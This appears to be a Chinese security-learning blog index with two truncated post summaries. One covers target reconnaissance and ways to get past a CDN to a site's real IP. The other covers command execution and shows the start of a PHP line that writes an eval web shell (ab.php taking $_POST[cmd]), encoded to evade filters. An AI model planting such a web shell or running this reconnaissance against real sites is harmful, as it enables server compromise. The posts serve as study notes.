摘要：人员联系方式与关系 天眼查，企查查等 检测目标是否存在CDN 在线检测平台：超级ping，nslookup命令 示例： 绕过CDN获取真实IP 如下方法在大型网站，如BAT等可能失效 子域名查询 为了节约成本，大部分的网站只有主域名使用了CDN服务，或者部分重要的子域名使用了CDN服务，这个时候我们 阅读全文

摘要：一、在学习命令执行漏洞的过程中，遇到以下情况： 当服务器上传不了马或者马被过滤的时候，我们可以迂回一下，通过执行写马命令到服务器，在服务器里面写马，该命令是通过ascii编码过的命令，防止被过滤。 1 fputs(fopen("ab.php","w"),'<?php eval($_POST[cmd] 阅读全文